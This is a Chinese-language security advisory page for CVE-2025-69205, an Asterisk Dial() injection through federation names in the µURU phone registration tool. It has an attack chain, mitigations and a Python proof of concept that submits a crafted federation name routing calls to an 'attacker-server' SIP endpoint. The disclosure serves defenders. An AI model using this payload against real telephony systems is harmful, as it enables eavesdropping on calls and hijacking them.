IPBUF安全漏洞报告
English
CVE-2025-69205 CVSS 6.3 中危

CVE-2025-69205: µURU电话注册工具Asterisk Dial注入漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-69205
漏洞类型
输入验证不当/命令注入
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Micro Registration Utility (µURU)

相关标签

CVE-2025-69205µURUAsterisk输入验证不当呼叫注入Dial()注入federation电话系统MEDIUM本地攻击

漏洞概述

Micro Registration Utility (µURU)是一款基于Asterisk的电话自助注册工具。在截至commit 88db9a953f38a3026bcd6816d51c7f3b93c55893的版本中,由于对federation名称的输入验证不充分,攻击者可以构造包含Asterisk特殊字符的恶意federation名称。这些特殊字符会被注入到Asterisk的Dial()应用程序中,导致呼叫被重定向到攻击者控制的终端。成功利用此漏洞需要管理员手动接受federation请求,这作为一道安全屏障降低了漏洞的可利用性。然而,一旦攻击成功,攻击者可以完全控制两个federating实例之间的呼叫路由,造成严重的机密性、完整性和可用性影响。截至漏洞披露时,官方尚未发布修复版本。

技术细节

漏洞根源在于µURU在处理federation名称时缺乏严格的输入过滤机制。Asterisk的Dial()应用程序支持多种特殊字符和通道变量,攻击者可以通过在federation名称中注入这些特殊字符来操纵呼叫路由。例如,使用管道符(|)可以分隔Dial()参数,使用@符号可以指定通道技术(如SIP/、DAHDI/等)。当µURU将federation名称传递给Dial()应用程序时,未经消毒的输入会被直接解析执行。攻击者可以构造类似SIP/attacker@evil-server的federation名称,诱使Asterisk将呼叫路由到恶意服务器。此外,利用Asterisk的通道变量和函数(如${EXTEN}、${CALLERID(num)}等)可能实现更复杂的攻击场景。漏洞的利用需要攻击者具备本地访问权限和高级权限账户,且需要管理员交互(接受federation请求),这限制了漏洞的野外利用可能性,但仍需引起重视。

攻击链分析

STEP 1
步骤1
攻击者获得µURU系统本地访问权限和高级别账户
STEP 2
步骤2
攻击者构造包含Asterisk特殊字符的恶意federation名称,如使用SIP/前缀和@符号重定向通道
STEP 3
步骤3
通过µURU的federation创建接口提交恶意请求,注入特殊字符到Asterisk Dial()调用链
STEP 4
步骤4
等待管理员手动接受federation请求(这是唯一的人为干预环节)
STEP 5
步骤5
触发federating实例间的呼叫,µURU将未过滤的federation名称传递给Asterisk Dial()
STEP 6
步骤6
Asterisk解析注入的特殊字符,将呼叫重定向到攻击者控制的服务器
STEP 7
步骤7
攻击者成功窃听、篡改或中断两个federating实例之间的通信

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-69205 PoC - µURU Federation Name Injection # This PoC demonstrates the injection of Asterisk special characters # into the Dial() application via federation name import requests import json # Target µURU instance TARGET_URL = "http://target-uru-server:8080" # Malicious federation name with Asterisk special characters # The pipe character (|) separates Dial() parameters # The SIP/ prefix can redirect calls to attacker's server malicious_federation_name = "attacker|SIP/evil@attacker-server/6001" def create_federation_request(): """ Create a federation request with malicious federation name """ payload = { "federation_name": malicious_federation_name, "description": "Legitimate federation request", "enabled": True } # The vulnerable endpoint that accepts federation configuration endpoint = f"{TARGET_URL}/api/federation/create" try: response = requests.post( endpoint, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"[*] Federation request sent: {response.status_code}") return response.json() except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def trigger_call_redirect(): """ Once admin accepts the federation, trigger the vulnerable call path """ endpoint = f"{TARGET_URL}/api/federation/test-call" # This will invoke Asterisk Dial() with injected parameters payload = { "source_federation": "legitimate_server", "target_federation": malicious_federation_name } try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[*] Call redirect triggered: {response.status_code}") return response.json() except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-69205 PoC for µURU Asterisk Dial Injection") print("[*] Target: " + TARGET_URL) print("[*] Note: Requires admin to accept federation request") # Step 1: Create malicious federation create_federation_request() # Step 2: Trigger call redirect (after admin approval) # trigger_call_redirect()

影响范围

µURU <= commit 88db9a953f38a3026bcd6816d51c7f3b93c55893

防御指南

临时缓解措施
由于官方尚未发布修复版本,建议采取以下临时措施:(1)禁用不必要的federation功能;(2)限制管理员对federation请求的审批权限,仅允许可信用户操作;(3)实施网络隔离,限制Asterisk服务器的网络访问范围;(4)启用Asterisk安全日志和呼叫监控,及时发现异常呼叫路由;(5)考虑使用WAF/IPS设备对Asterisk相关流量进行深度检测和阻断;(6)定期审计federation配置和Asterisk Dialplan配置,移除不必要的呼叫路由规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表